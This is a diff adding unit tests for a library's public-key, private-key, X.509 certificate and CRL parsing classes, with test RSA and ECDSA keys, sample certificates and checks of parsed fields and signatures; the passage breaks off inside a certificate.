+y = PubKey(b'0\x82\x01\"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\x98Wj?\xe9\xd3\x11\x9b\xa4KIK?\xec\xa3\xd6\x03H\x9a\xc1\x08\x7f\xb3\xf6\xc9$\xee\x9d\xc7\x98\xc7\t&\xe1Q9A\x17\x83m\xbd\x8b\xe7\xf1\xcb\x03\xdaO\x98\x87\x90-*\xbf\x06\x03\xb5\x99\xe3\x9cl\xe4\x89\xd9\x85GCo\x0cC\x9e\xbe\xf0*\xdb\xea}\xbc\x8b\'\x17\xe2\x1at\x1fp1D\x08\xe1\xd1\xe7W\xfa\xad\xf2\x8a[\xd8\'\x85\xbd\xfc\xd9\xc8o\xfc\x00g\x04\xb4\xa0\x98\x9f\xfe\xd4\xe4T^\xfb\x1f&\xc0|\x97^\xe4J\x9b\xa7\xe6\xc2(\x8b\xccZv\xa6n\x1fCEL\xa3\xac\x10Y\xa3\x97@\xd6\x8d\xf6\xce\x9b\x85\x06\xb2]#\xc7fR\x9c=\x82\xd7\xf4\x17@Z\xf2Q\x99\x9b\xc5*sA\xb2]\xe5\xce%A6\xbb\xb0\xa22\xed\xcc\xef\xb0L\xe9\x92\xcbM\xca0\xe7\xe6\xd0\"i&L\xbdR\x1a\x1c\xf0~)\xcc\x13W\xba\xa7q\xe6\xff\xfaC\x8e\xe2o\x15\xa66\xdaM9.\x02\xee\xca\xa79\xf6\xf1b\x07t\xe8\x95\xdc\xfc\xf8\x06\xcc6;\xf3\x03\x02\x03\x01\x00\x01')
+y_pubNum = y.pubkey.public_numbers()
+type(y) is PubKeyRSA
+
+= PubKey class : Verifying DER key format
+y.frmt == "DER"
+
+= PubKey class : Checking modulus value
+x_pubNum.n == y_pubNum.n and x_pubNum.n == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163
+
+= PubKey class : Checking public exponent value
+x_pubNum.e == y_pubNum.e and x_pubNum.e == 65537
+
+= PubKey class : Importing PEM-encoded ECDSA public key
+z = PubKey("""
+-----BEGIN PUBLIC KEY-----
+MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4
+Jd5qtmDF2Zu+xrwrBRT0HBnPweDU+RsFxcyU/QxD9WYORzYarqxbcA==
+-----END PUBLIC KEY-----
+""")
+type(z) is PubKeyECDSA
+
+= PubKey class : Checking curve
+z.pubkey.curve.name == "secp256k1"
+
+= PubKey class : Checking point value
+z.pubkey.public_numbers().x == 104748656174769496952370005421566518252704263000192720134585149244759951661467
+
+
+########### PrivKey class ###############################################
+
++ PrivKey class tests
+
+= PrivKey class : Importing PEM-encoded RSA private key
+x = PrivKey("""
+-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5
+QReDbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0
+H3AxRAjh0edX+q3yilvYJ4W9/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bC
+KIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0Gy
+XeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1SGhzwfinME1e6p3Hm//pDjuJv
+FaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABAoIBAH3KeJZL2hhI/1GX
+NMaU/PfDgFkgmYbxMA8JKusnm/SFjxAwBGnGI6UjBXpBgpQs2Nqm3ZseF9u8hmCK
+vGiCEX2GesCo2mSfmSQxD6RBrMTuQ99UXpxzBIscFnM/Zrs8lPBARGzmF2nI3qPx
+Xtex4ABX5o0Cd4NfZlZjpj96skUoO8+bd3I4OPUFYFFFuv81LoSQ6Hew0a8xtJXt
+KkDp9h1jTGGUOc189WACNoBLH0MGeVoSUfc1++RcC3cypUZ8fNP1OO6GBfv06f5o
+XES4ZbxGYpa+nCfNwb6V2gWbkvaYm7aFn0KWGNZXS1P3OcWv6IWdOmg2CI7MMBLJ
+0LyWVCECgYEAyMJYw195mvHl8VyxJ3HkxeQaaozWL4qhNQ0Kaw+mzD+jYdkbHb3a
+BYghsgEDZjnyOVblC7I+4smvAZJLWJaf6sZ5HAw3zmj1ibCkXx7deoRc/QVcOikl
+3dE/ymO0KGJNiGzJZmxbRS3hTokmVPuxSWW4p5oSiMupFHKa18Uv8DECgYEAwkJ7
+iTOUL6b4e3lQuHQnJbsiQpd+P/bsIPP7kaaHObewfHpfOOtIdtN4asxVFf/PgW5u
+WmBllqAHZYR14DEYIdL+hdLrdvk5nYQ3YfhOnp+haHUPCdEiXrRZuGXjmMA4V0hL
+3HPF5ZM8H80fLnN8Pgn2rIC7CZQ46y4PnoV1nXMCgYBBwCUCF8rkDEWa/ximKo8a
+oNJmAypC98xEa7j1x3KBgnYoHcrbusok9ajTe7F5UZEbZnItmnsuG4/Nm/RBV1OY
+uNgBb573YzjHl6q93IX9EkzCMXc7NS7JrzaNOopOj6OFAtwTR3m89oHMDu8W9jfi
+KgaIHdXkJ4+AuugrstE4gQKBgFK0d1/8g7SeA+Cdz84YNaqMt5NeaDPXbsTA23Qx
+UBU0rYDxoKTdFybv9a6SfA83sCLM31K/A8FTNJL2CDGA9WNBL3fOSs2GYg88AVBG
+pUJHeDK+0748OcPUSPaG+pVIETSn5RRgffq16r0nWYUvSdAn8cuTqw3y+yC1pZS6
+AU8dAoGBAL5QCi0dTWKN3kf3cXaCAnYiWe4Qg2S+SgLE+F1U4Xws2rqAuSvIiuT5
+i5+Mqk9ZCGdoReVbAovJFoRqe7Fj9yWM+b1awGjL0bOTtnqx0iljob6uFyhpl1xg
+W3a3ICJ/ZYLvkgb4IBEteOwWpp37fX57vzhW8EmUV2UX7ve1uNRI
+-----END RSA PRIVATE KEY-----
+""")
+x_privNum = x.key.private_numbers()
+x_pubNum = x.pubkey.public_numbers()
+type(x) is PrivKeyRSA
+
+= PrivKey class : Checking public attributes
+assert(x_pubNum.n == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163)
+x_pubNum.e == 65537
+
+= PrivKey class : Checking private attributes
+assert(x_privNum.p == 140977881300857803928857666115326329496639762170623218602431133528876162476487960230341078724702018316260690172014674492782486113504117653531825010840338251572887403113276393351318549036549656895326851872473595350667293402676143426484331639796163189182788306480699144107905869179435145810212051656274284113969)
+assert(x_privNum.q == 136413798668820291889092636919077529673097927884427227010121877374504825870002258140616512268521246045642663981036167305976907058413796938050224182519965099316625879807962173794483933183111515251808827349718943344770056106787713032506379905031673992574818291891535689493330517205396872699985860522390496583027)
+assert(x_privNum.dmp1 == 46171616708754015342920807261537213121074749458020000367465429453038710215532257783908950878847126373502288079285334594398328912526548076894076506899568491565992572446455658740752572386903609191774044411412991906964352741123956581870694330173563737928488765282233340389888026245745090096745219902501964298369)
+assert(x_privNum.dmq1 == 58077388505079936284685944662039782610415160654764308528562806086690474868010482729442634318267235411531220690585030443434512729356878742778542733733189895801341155353491318998637269079682889033003797865508917973141494201620317820971253064836562060222814287812344611566640341960495346782352037479526674026269)
+x_privNum.d == 15879630313397508329451198152673380989865598204237760057319927734227125481903063742175442230739018051313441697936698689753842471306305671266572085925009572141819112648211571007521954312641597446020984266846581125287547514750428503480880603089110687015181510081018160579576523796170439894692640171752302225125980423560965987469457505107324833137678663960560798216976668670722016960863268272661588745006387723814962668678285659376534048525020951633874488845649968990679414325096323920666486328886913648207836459784281744709948801682209478580185160477801656666089536527545026197569990716720623647770979759861119273292833
+
+= PrivKey class : Importing PEM-encoded ECDSA private key
+y = PrivKey("""
+-----BEGIN EC PRIVATE KEY-----
+MHQCAQEEIMiRlFoy6046m1NXu911ukXyjDLVgmOXWCKWdQMd8gCRoAcGBSuBBAAK
+oUQDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4Jd5qtmDF2Zu+xrwrBRT0HBnP
+weDU+RsFxcyU/QxD9WYORzYarqxbcA==
+-----END EC PRIVATE KEY-----
+""")
+type(y) is PrivKeyECDSA
+
+= PrivKey class : Checking public attributes
+assert(y.key.curve.name == "secp256k1")
+y.key.public_key().public_numbers().y == 86290575637772818452062569410092503179882738810918951913926481113065456425840
+
+= PrivKey class : Checking private attributes
+y.key.private_numbers().private_value == 90719786431263082134670936670180839782031078050773732489701961692235185651857
+
+
+########### Keys crypto tests #######################################
+
++ PubKey/PrivKey classes crypto tests
+
+= PrivKey/PubKey classes : Signing/Verifying with MD5_SHA1 hash
+m = "Testing our PKCS #1 legacy methods"    # ignore this string
+s = x.sign(m, t="pkcs", h="md5-sha1")
+assert(s == b"\x0cm\x8a\x8f\xae`o\xcdC=\xfea\xf4\xff\xf0i\xfe\xa3!\xfd\xa5=*\x99?\x08!\x03A~\xa3-B\xe8\xca\xaf\xb4H|\xa3\x98\xe9\xd5U\xfdL\xb1\x9c\xd8\xb2{\xa1/\xfcr\x8c\xa7\xd3\xa9%\xde\x13\xa8\xf6\xc6<\xc7\xdb\xe3\xa62\xeb\xe9?\xe5by\xc2\x9e\xad\xec\x92:\x14\xd96\xa8\xc0+\xea8'{=\x91$\xdf\xed\xe1+eF8\x9fI\x1f\xa1\xcb4s\xd1#\xdf\xa11\x88o\x050i Hg\x0690\xe6\xe8?\\<:k\x94\x82\x91\x0f\x06\xc7>ZQ\xc2\xcdn\xdb\xf4\x9d\x7f!\xa9>\xe8\xea\xb3\xd83]\x8d\x90\xd4\xa0b\xe6\xe6$d[\xe4\xb4 |W\xb2t\x8c\xb2\xd5>>+\xf1\xa6W'\xaf\xc2CU\x82\x13\xc4\x0b\xc4vD*\xc3\xef\xa6s\nQ\xe6\rS@B\xd2\xa4V\xdc\xd1D\x7f\x00\xaa\xac\xac\x96i\xf1kg*\xe9*\x90a@\xc8uDy\x16\xe2\x03\xd1\x9fa\xe2s\xdb\xees\xa4\x8cna\xba\xdaE\x006&\xa4")
+x_pub = PubKey((x._pubExp, x._modulus, x._modulusLen))
+x_pub.verify(m, s, t="pkcs", h="md5-sha1")
+
+= PrivKey/PubKey classes : Signing/Verifying with MD5_SHA1 hash with legacy support
+m = "Testing our PKCS #1 legacy methods"
+s = x._legacy_sign_md5_sha1(m)
+assert(s == b"\x0cm\x8a\x8f\xae`o\xcdC=\xfea\xf4\xff\xf0i\xfe\xa3!\xfd\xa5=*\x99?\x08!\x03A~\xa3-B\xe8\xca\xaf\xb4H|\xa3\x98\xe9\xd5U\xfdL\xb1\x9c\xd8\xb2{\xa1/\xfcr\x8c\xa7\xd3\xa9%\xde\x13\xa8\xf6\xc6<\xc7\xdb\xe3\xa62\xeb\xe9?\xe5by\xc2\x9e\xad\xec\x92:\x14\xd96\xa8\xc0+\xea8\'{=\x91$\xdf\xed\xe1+eF8\x9fI\x1f\xa1\xcb4s\xd1#\xdf\xa11\x88o\x050i Hg\x0690\xe6\xe8?\\<:k\x94\x82\x91\x0f\x06\xc7>ZQ\xc2\xcdn\xdb\xf4\x9d\x7f!\xa9>\xe8\xea\xb3\xd83]\x8d\x90\xd4\xa0b\xe6\xe6$d[\xe4\xb4 |W\xb2t\x8c\xb2\xd5>>+\xf1\xa6W\'\xaf\xc2CU\x82\x13\xc4\x0b\xc4vD*\xc3\xef\xa6s\nQ\xe6\rS@B\xd2\xa4V\xdc\xd1D\x7f\x00\xaa\xac\xac\x96i\xf1kg*\xe9*\x90a@\xc8uDy\x16\xe2\x03\xd1\x9fa\xe2s\xdb\xees\xa4\x8cna\xba\xdaE\x006&\xa4")
+x_pub = PubKey((x._pubExp, x._modulus, x._modulusLen))
+x_pub._legacy_verify_md5_sha1(m, s)
+
+
+########### Cert class ##############################################
+
++ Cert class tests
+
+= Cert class : Importing PEM-encoded X.509 Certificate
+x = Cert("""
+-----BEGIN CERTIFICATE-----
+MIIFEjCCA/qgAwIBAgIJALRecEPnCQtxMA0GCSqGSIb3DQEBBQUAMIG2MQswCQYD
+VQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlzMRcwFQYDVQQK
+Ew5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBOIFNlcnZpY2Vz
+MSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRlMScwJQYJKoZI
+hvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnAwHhcNMDYwNzEzMDczODU5
+WhcNMjYwMzMwMDczODU5WjCBtjELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlz
+MQ4wDAYDVQQHEwVQYXJpczEXMBUGA1UEChMOTXVzaHJvb20gQ29ycC4xHjAcBgNV
+BAsTFU11c2hyb29tIFZQTiBTZXJ2aWNlczElMCMGA1UEAxMcSUtFdjIgWC41MDkg
+VGVzdCBjZXJ0aWZpY2F0ZTEnMCUGCSqGSIb3DQEJARYYaWtldjItdGVzdEBtdXNo
+cm9vbS5jb3JwMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nT
+EZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HLA9pPmIeQLSq/
+BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9
+/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA
+1o32zpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLL
+Tcow5+bQImkmTL1SGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3To
+ldz8+AbMNjvzAwIDAQABo4IBHzCCARswHQYDVR0OBBYEFPPYTt6Q9+Zd0s4zzVxW
+jG+XFDFLMIHrBgNVHSMEgeMwgeCAFPPYTt6Q9+Zd0s4zzVxWjG+XFDFLoYG8pIG5
+MIG2MQswCQYDVQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlz
+MRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBO
+IFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRl
+MScwJQYJKoZIhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnCCCQC0XnBD
+5wkLcTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQA2zt0BvXofiVvH
+MWlftZCstQaawej1SmxrAfDB4NUM24NsG+UZI88XA5XM6QolmfyKnNromMLC1+6C
+aFxjq3jC/qdS7ifalFLQVo7ik/te0z6Olo0RkBNgyagWPX2LR5kHe9RvSDuoPIsb
+SHMmJA98AZwatbvEhmzMINJNUoHVzhPeHZnIaBgUBg02XULk/ElidO51Rf3gh8dR
+/kgFQSQT687vs1x9TWD00z0Q2bs2UF3Ob3+NYkEGEo5F9RePQm0mY94CT2xs6WpH
+o060Fo7fVpAFktMWx1vpu+wsEbQAhgGqV0fCR2QwKDIbTrPW/p9HJtJDYVjYdAFx
+r3s7V77y
+-----END CERTIFICATE-----
+""")
+
+= Cert class : Checking version
+x.version == 3
+
+= Cert class : Checking certificate serial number extraction
+x.serial == 0xB45E7043E7090B71
+
+= Cert class : Checking signature algorithm
+x.sigAlg == 'sha1_with_rsa_signature' 
+
+= Cert class : Checking issuer extraction in basic format (/C=FR ...)
+x.issuer_str == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp'
+
+= Cert class : Checking subject extraction in basic format (/C=FR ...)
+x.subject_str == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp'
+
+= Cert class : Checking start date extraction in simple and tuple formats
+assert(x.notBefore_str_simple == '07/13/06')
+x.notBefore == (2006, 7, 13, 7, 38, 59, 3, 194, -1)
+
+= Cert class : Checking end date extraction in simple and tuple formats
+assert(x.notAfter_str_simple == '03/30/26')
+x.notAfter == (2026, 3, 30, 7, 38, 59, 0, 89, -1)
+
+= Cert class : Checking RSA public key
+assert(type(x.pubKey) is PubKeyRSA)
+x_pubNum = x.pubKey.pubkey.public_numbers()
+assert(x_pubNum.n == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163)
+x_pubNum.e == 0x10001
+
+= Cert class : Checking extensions
+assert(x.cA)
+assert(x.authorityKeyID == b'\xf3\xd8N\xde\x90\xf7\xe6]\xd2\xce3\xcd\\V\x8co\x97\x141K')
+not hasattr(x, "keyUsage")
+
+= Cert class : Importing another PEM-encoded X.509 Certificate
+y = Cert("""
+-----BEGIN CERTIFICATE-----
+MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQsw
+CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu
+ZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3Qg
+RzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQGEwJV
+UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu
+Y29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQBgcq
+hkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJf
+Zn4f5dwbRXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17Q
+RSAPWXYQ1qAk8C3eNvJsKTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/
+BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgFUaFNN6KDec6NHSrkhDAKBggqhkjOPQQD
+AwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5FyYZ5eEJJZVrmDxxDnOOlY
+JjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy1vUhZscv
+6pZjamVFkpUBtA==
+-----END CERTIFICATE-----
+""")
+
+= Cert class : Checking ECDSA public key
+assert(type(y.pubKey) is PubKeyECDSA)
+pubkey = y.pubKey.pubkey
+assert(pubkey.curve.name == 'secp384r1')
+pubkey.public_numbers().x == 3987178688175281746349180015490646948656137448666005327832107126183726641822596270780616285891030558662603987311874
+
+= Cert class : Checking ECDSA signature
+y.signatureValue == b'0d\x020%\xa4\x81E\x02k\x12KutO\xc8#\xe3p\xf2ur\xde|\x89\xf0\xcf\x91ra\x9e^\x10\x92YV\xb9\x83\xc7\x10\xe78\xe9X&6}\xd5\xe44\x869\x020|6S\xf00\xe5bc:\x99\xe2\xb6\xa3;\x9b4\xfa\x1e\xda\x10\x92q^\x91\x13\xa7\xdd\xa4n\x92\xcc2\xd6\xf5!f\xc7/\xea\x96cjeE\x92\x95\x01\xb4'
+
+
+########### CRL class ###############################################
+
++ CRL class tests
+
+= CRL class : Importing PEM-encoded CRL
+x = CRL("""
+-----BEGIN X509 CRL-----
+MIICHjCCAYcwDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoT
+DlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1YmxpYyBQcmltYXJ5
+IENlcnRpZmljYXRpb24gQXV0aG9yaXR5Fw0wNjExMDIwMDAwMDBaFw0wNzAyMTcy
+MzU5NTlaMIH2MCECECzSS2LEl6QXzW6jyJx6LcgXDTA0MDQwMTE3NTYxNVowIQIQ
+OkXeVssCzdzcTndjIhvU1RcNMDEwNTA4MTkyMjM0WjAhAhBBXYg2gRUg1YCDRqhZ
+kngsFw0wMTA3MDYxNjU3MjNaMCECEEc5gf/9hIHxlfnrGMJ8DfEXDTAzMDEwOTE4
+MDYxMlowIQIQcFR+auK62HZ/R6mZEEFeZxcNMDIwOTIzMTcwMDA4WjAhAhB+C13e
+GPI5ZoKmj2UiOCPIFw0wMTA1MDgxOTA4MjFaMCICEQDQVEhgGGfTrTXKLw1KJ5Ve
+Fw0wMTEyMTExODI2MjFaMA0GCSqGSIb3DQEBBQUAA4GBACLJ9rsdoaU9JMf/sCIR
+s3AGW8VV3TN2oJgiCGNEac9PRyV3mRKE0hmuIJTKLFSaa4HSAzimWpWNKuJhztsZ
+zXUnWSZ8VuHkgHEaSbKqzUlb2g+o/848CvzJrcbeyEBkDCYJI5C3nLlQA49LGJ+w
+4GUPYBwaZ+WFxCX1C8kzglLm
+-----END X509 CRL-----
+""")
+
+= CRL class : Checking version
+x.version == 1
+
+= CRL class : Checking issuer extraction in basic format (/C=FR ...)
+x.issuer_str == '/C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority'
+
+= CRL class : Checking lastUpdate date extraction in tuple format
+x.lastUpdate == (2006, 11, 2, 0, 0, 0, 3, 306, -1)
+
+= CRL class : Checking nextUpdate date extraction in tuple format
+x.nextUpdate == (2007, 2, 17, 23, 59, 59, 5, 48, -1)
+
+= CRL class : Checking number of revoked certificates
+len(x.revoked_cert_serials) == 7 
+
+= CRL class : Checking presence of one revoked certificate
+(94673785334145723688625287778885438961, '030109180612') in x.revoked_cert_serials
+
+########### High-level methods ###############################################
+
+= Cert class : Checking isIssuerCert()
+c0 = Cert("""
+-----BEGIN CERTIFICATE-----
+MIIFVjCCBD6gAwIBAgIJAJmDv7HOC+iUMA0GCSqGSIb3DQEBCwUAMIHGMQswCQYD
+VQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEl
+MCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEzMDEGA1UECxMq
+aHR0cDovL2NlcnRzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkvMTQwMgYD
+VQQDEytTdGFyZmllbGQgU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcy
+MB4XDTE1MTAxMzE2NDIzOFoXDTE2MTEzMDIzMzQxOVowPjEhMB8GA1UECxMYRG9t
+YWluIENvbnRyb2wgVmFsaWRhdGVkMRkwFwYDVQQDDBAqLnRvb2xzLmlldGYub3Jn
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAseE36OuC1on62/XCS3fw
+LErecm4+E2DRqGYexK09MmDl8Jm19Hp6SFUh7g45EvnODcr1aWHHBO1uDx07HlCI
+eToOMUEW8bECZGilzfVKCsqZljUIw34nXdCpz/PnKK832LZ73fN+rm6Xf/fKaU7M
+0AbfXSebOxLn5v4Ia1J7ghF8crNG68HoeLgPy+HrvQZEWNyDULKgYlvcgbg24558
+ebKpU4rgC8lKKhM5MRO9LM+ocM+MjT0Bo4iuEgA2HR4kK9152FMBJu0oT8mGlINO
+yOEULoWzr9Ru3WlGr0ElDnqti/KSynnZezJP93fo+bRPI1zUXAOu2Ks6yhNfXV1d
+oQIDAQABo4IBzDCCAcgwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcD
+AQYIKwYBBQUHAwIwDgYDVR0PAQH/BAQDAgWgMDwGA1UdHwQ1MDMwMaAvoC2GK2h0
+dHA6Ly9jcmwuc3RhcmZpZWxkdGVjaC5jb20vc2ZpZzJzMS0xNy5jcmwwWQYDVR0g
+BFIwUDBOBgtghkgBhv1uAQcXATA/MD0GCCsGAQUFBwIBFjFodHRwOi8vY2VydGlm
+aWNhdGVzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkvMIGCBggrBgEFBQcB
+AQR2MHQwKgYIKwYBBQUHMAGGHmh0dHA6Ly9vY3NwLnN0YXJmaWVsZHRlY2guY29t
+LzBGBggrBgEFBQcwAoY6aHR0cDovL2NlcnRpZmljYXRlcy5zdGFyZmllbGR0ZWNo
+LmNvbS9yZXBvc2l0b3J5L3NmaWcyLmNydDAfBgNVHSMEGDAWgBQlRYFoUCY4PTst
+LL7Natm2PbNmYzArBgNVHREEJDAighAqLnRvb2xzLmlldGYub3Jngg50b29scy5p
+ZXRmLm9yZzAdBgNVHQ4EFgQUrYq0HAdR15KJB7C3hGIvNlV6X00wDQYJKoZIhvcN
+AQELBQADggEBAAxfzShHiatHrWnTGuRX9BmFpHOFGmLs3PtRRPoOUEbZrcTbaJ+i
+EZpjj4R3eiLITgObcib8+NR1eZsN6VkswZ+rr54aeQ1WzWlsVwBP1t0h9lIbaonD
+wDV6ME3KzfFwwsZWqMBgLin8TcoMadAkXhdfcEKNndKSMsowgEjigP677l24nHf/
+OcnMftgErmTm+jEdW1wUooJoWgbt8TT2uWD8MC62sIIgSQ6miKtg7LhCC1ScyVuN
+Erk3YzF8mPwouOcnNOKsUnkDXLA2REMedVp48c4ikjLClu6AcIg03ZU+o8fLNqcZ
+zd1s7DbacrRSSQ+nXDTodqw1HB+77u0RFs0=
+-----END CERTIFICATE-----
+""")
+c1 = Cert("""
+-----BEGIN CERTIFICATE-----
+MIIFADCCA+igAwIBAgIBBzANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx
+EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT
+HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs
+ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTExMDUwMzA3MDAw
+MFoXDTMxMDUwMzA3MDAwMFowgcYxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6
+b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj
+aG5vbG9naWVzLCBJbmMuMTMwMQYDVQQLEypodHRwOi8vY2VydHMuc3RhcmZpZWxk
+dGVjaC5jb20vcmVwb3NpdG9yeS8xNDAyBgNVBAMTK1N0YXJmaWVsZCBTZWN1cmUg
+Q2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IB
+DwAwggEKAoIBAQDlkGZL7PlGcakgg77pbL9KyUhpgXVObST2yxcT+LBxWYR6ayuF
+pDS1FuXLzOlBcCykLtb6Mn3hqN6UEKwxwcDYav9ZJ6t21vwLdGu4p64/xFT0tDFE
+3ZNWjKRMXpuJyySDm+JXfbfYEh/JhW300YDxUJuHrtQLEAX7J7oobRfpDtZNuTlV
+Bv8KJAV+L8YdcmzUiymMV33a2etmGtNPp99/UsQwxaXJDgLFU793OGgGJMNmyDd+
+MB5FcSM1/5DYKp2N57CSTTx/KgqT3M0WRmX3YISLdkuRJ3MUkuDq7o8W6o0OPnYX
+v32JgIBEQ+ct4EMJddo26K3biTr1XRKOIwSDAgMBAAGjggEsMIIBKDAPBgNVHRMB
+Af8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUJUWBaFAmOD07LSy+
+zWrZtj2zZmMwHwYDVR0jBBgwFoAUfAwyH6fZMH/EfWijYqihzqsHWycwOgYIKwYB
+BQUHAQEELjAsMCoGCCsGAQUFBzABhh5odHRwOi8vb2NzcC5zdGFyZmllbGR0ZWNo
+LmNvbS8wOwYDVR0fBDQwMjAwoC6gLIYqaHR0cDovL2NybC5zdGFyZmllbGR0ZWNo
+LmNvbS9zZnJvb3QtZzIuY3JsMEwGA1UdIARFMEMwQQYEVR0gADA5MDcGCCsGAQUF
+BwIBFitodHRwczovL2NlcnRzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkv
+MA0GCSqGSIb3DQEBCwUAA4IBAQBWZcr+8z8KqJOLGMfeQ2kTNCC+Tl94qGuc22pN
+QdvBE+zcMQAiXvcAngzgNGU0+bE6TkjIEoGIXFs+CFN69xpk37hQYcxTUUApS8L0
+rjpf5MqtJsxOYUPl/VemN3DOQyuwlMOS6eFfqhBJt2nk4NAfZKQrzR9voPiEJBjO
+eT2pkb9UGBOJmVQRDVXFJgt5T1ocbvlj2xSApAer+rKluYjdkf5lO6Sjeb6JTeHQ
